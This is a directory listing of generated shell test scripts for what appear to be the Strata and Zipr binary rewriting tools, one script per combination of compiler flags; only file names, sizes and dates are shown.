+-rw-rw-r-- 1 ubuntu ubuntu 3735 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3697 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3739 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3683 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3739 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3701 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3735 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3697 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3719 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3681 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3689 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3727 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3689 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
+
+../../test_scripts/sample_tests:
+total 1280
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3708 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3766 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3720 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3734 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3696 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3758 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3720 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3742 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3742 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3770 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3758 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3714 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3752 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3770 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3766 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3752 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3712 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3734 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3742 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3720 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3734 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3742 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3746 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3766 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3758 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3712 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3746 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
